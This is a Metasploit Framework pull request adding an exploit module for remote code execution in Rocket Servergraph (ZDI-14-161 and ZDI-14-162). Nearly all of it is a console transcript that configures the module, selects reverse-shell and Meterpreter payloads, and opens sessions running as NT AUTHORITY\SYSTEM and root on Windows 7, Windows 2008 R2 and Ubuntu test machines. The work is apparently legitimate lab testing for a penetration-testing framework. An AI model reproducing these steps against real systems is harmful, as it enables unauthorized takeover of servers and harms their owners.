rapid7/metasploit-framework — pull request #3435 by jvazquez-r7 (2014-06-08 16:14:42+00:00)
Title: Add module for Rocket Servergraph ZDI-14-161 and ZDI-14-162

Tested successfully with the last version of Rocket Servergraph on Windows 7 SP1 32 bits, W2008 R2 x64, and Ubuntu 12.04 64 bits.

Verification
----------

- [ ] Install Rocket Servergraph server on any of the tested operating systems. At the end of last week, the last version available for demo purposes was vulnerable.
- [ ] Run the module like in the DEMO below, hopefully you get sessions

DEMO
--------

* Windows 7 SP1

```
msf > use exploit/multi/http/rocket_servergraph_file_requestor_rce
msf exploit(rocket_servergraph_file_requestor_rce) > show options

Module options (exploit/multi/http/rocket_servergraph_file_requestor_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no Use a proxy chain
RHOST yes The target address
RPORT 8888 yes The target port
VHOST no HTTP server virtual host

Exploit target:

Id Name
-- ----
0 Linux (Native Payload)

msf exploit(rocket_servergraph_file_requestor_rce) > set rhost 172.16.158.172
rhost => 172.16.158.172
msf exploit(rocket_servergraph_file_requestor_rce) > set rport 80
rport => 80
msf exploit(rocket_servergraph_file_requestor_rce) > show targets

Exploit targets:

Id Name
-- ----
0 Linux (Native Payload)
1 Linux (CMD Payload)
2 Windows / VB Script
3 Windows CMD

msf exploit(rocket_servergraph_file_requestor_rce) > set target 2
target => 2
msf exploit(rocket_servergraph_file_requestor_rce) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(rocket_servergraph_file_requestor_rce) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(rocket_servergraph_file_requestor_rce) > check
[*] 172.16.158.172:80 - The target appears to be vulnerable.
msf exploit(rocket_servergraph_file_requestor_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.172:80 - Dropping the encoded payload to filesystem...
[*] 172.16.158.172:80 - Dropping the VBS decoder to filesystem...
[*] 172.16.158.172:80 - Executing payload...
[*] Sending stage (770048 bytes) to 172.16.158.172
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.172:49278) at 2014-06-08 10:56:02 -0500
[+] Deleted C:\WINDOWS\Temp\hQLqT.vbs
[+] Deleted C:\WINDOWS\Temp\ePABXd.b64
[!] This exploit may require manual cleanup of 'C:\WINDOWS\Temp\ybuEnB.exe' on the target

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-RNJ7NBRK9L7
OS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x86
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 172.16.158.172 - Meterpreter session 1 closed. Reason: User exit

msf exploit(rocket_servergraph_file_requestor_rce) > set target 3
target => 3
msf exploit(rocket_servergraph_file_requestor_rce) > set payload cmd/windows/reverse_powershell
payload => cmd/windows/reverse_powershell
msf exploit(rocket_servergraph_file_requestor_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Command shell session 2 opened (172.16.158.1:4444 -> 172.16.158.172:49279) at 2014-06-08 10:57:06 -0500

Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\ProgramData\Rocket Software\Servergraph ACTSM>whoami
nt authority\system

C:\ProgramData\Rocket Software\Servergraph ACTSM>exit

[*] 172.16.158.172 - Command shell session 2 closed. Reason: Died from EOFError
^C
Abort session 2? [y/N] y
```

* Windows 2008 R2 64 bits

```
msf exploit(rocket_servergraph_file_requestor_rce) > set rhost 172.16.158.171
rhost => 172.16.158.171
msf exploit(rocket_servergraph_file_requestor_rce) > check
[*] 172.16.158.171:80 - The target appears to be vulnerable.
msf exploit(rocket_servergraph_file_requestor_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Command shell session 3 opened (172.16.158.1:4444 -> 172.16.158.171:49164) at 2014-06-08 11:00:13 -0500

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\ProgramData\Rocket Software\Servergraph ACTSM>whoami
nt authority\system

C:\ProgramData\Rocket Software\Servergraph ACTSM>exit

[*] 172.16.158.171 - Command shell session 3 closed. Reason: Died from Errno::ECONNRESET
^C
Abort session 3? [y/N] y
msf exploit(rocket_servergraph_file_requestor_rce) > show targets

Exploit targets:

Id Name
-- ----
0 Linux (Native Payload)
1 Linux (CMD Payload)
2 Windows / VB Script
3 Windows CMD

msf exploit(rocket_servergraph_file_requestor_rce) > set target 2
target => 2
msf exploit(rocket_servergraph_file_requestor_rce) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(rocket_servergraph_file_requestor_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.171:80 - Dropping the encoded payload to filesystem...
[*] 172.16.158.171:80 - Dropping the VBS decoder to filesystem...
[*] 172.16.158.171:80 - Executing payload...
[*] Sending stage (770048 bytes) to 172.16.158.171
[*] Meterpreter session 4 opened (172.16.158.1:4444 -> 172.16.158.171:49165) at 2014-06-08 11:00:42 -0500
[+] Deleted C:\WINDOWS\Temp\Slae.vbs
[+] Deleted C:\WINDOWS\Temp\jctx.b64
[!] This exploit may require manual cleanup of 'C:\WINDOWS\Temp\TSRp.exe' on the target

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-21T0RBFAKER
OS : Windows 2008 R2 (Build 7600).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
emeterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 172.16.158.171 - Meterpreter session 4 closed. Reason: User exit
msf exploit(rocket_servergraph_file_requestor_rce) >
```

* Ubuntu 12.04 64 bits

```
msf exploit(rocket_servergraph_file_requestor_rce) > set rhost 172.16.158.170
rhost => 172.16.158.170
msf exploit(rocket_servergraph_file_requestor_rce) > set rport 8888
rport => 8888
msf exploit(rocket_servergraph_file_requestor_rce) > check
[*] 172.16.158.170:8888 - The target appears to be vulnerable.
msf exploit(rocket_servergraph_file_requestor_rce) > show targets

Exploit targets:

Id Name
-- ----
0 Linux (Native Payload)
1 Linux (CMD Payload)
2 Windows / VB Script
3 Windows CMD

msf exploit(rocket_servergraph_file_requestor_rce) > set target 0
target => 0
msf exploit(rocket_servergraph_file_requestor_rce) > set payload linux/x86/shell/reverse_tcp
payload => linux/x86/shell/reverse_tcp
msf exploit(rocket_servergraph_file_requestor_rce) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.170:8888 - Dropping the encoded payload to filesystem...
[*] 172.16.158.170:8888 - Dropping the decoder to filesystem...
[*] 172.16.158.170:8888 - Giving execution permissions to the decoder...
[*] 172.16.158.170:8888 - Executing decoder and payload...
[*] Sending stage (36 bytes) to 172.16.158.170
[*] Command shell session 5 opened (172.16.158.1:4444 -> 172.16.158.170:55602) at 2014-06-08 11:03:04 -0500
[+] Deleted /tmp/YenV.sh
[+] Deleted /tmp/jEhmB.b64
[+] Deleted /tmp/BmatV.elf

2380732892
vDbIvfxjxjmONvtIhopGgEgVDCUrjpxy
jghXDfDiTzNlHLJsbfLcRFmxxyWHsoMy
hYEQzUTzGiIBdKLYuntGFEhufoVLMZUE
UTInCCjguPqQkeBScMtPcuLDMgxqAVap
id
uid=0(root) gid=0(root) groups=0(root)
^C
Abort session 5? [y/N] y

[*] 172.16.158.170 - Command shell session 5 closed. Reason: User exit
msf exploit(rocket_servergraph_file_requestor_rce) > set target 1
target => 1
msf exploit(rocket_servergraph_file_requestor_rce) > set payload cmd/unix/reverse
payload => cmd/unix/reverse
msf exploit(rocket_servergraph_file_requestor_rce) > rexploit
[*] Reloading module...

[*] Started reverse double handler
[*] 172.16.158.170:8888 - Dropping payload...
[*] 172.16.158.170:8888 - Providing execution permissions...
[*] 172.16.158.170:8888 - Executing payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo fSMm0YBbqDvxvhCv;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "fSMm0YBbqDvxvhCv\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 6 opened (172.16.158.1:4444 -> 172.16.158.170:55604) at 2014-06-08 11:03:20 -0500
[+] Deleted /tmp/pwOx

4162710386
AOziZTSBmhcNOyAezGUvxMjJfWeGTVEH
yRCQqjIoNtAhXGmUqIUexDBdbIzbNidS
id
uid=0(root) gid=0(root) groups=0(root)
^C
Abort session 6? [y/N] y

[*] 172.16.158.170 - Command shell session 6 closed. Reason: User exit
```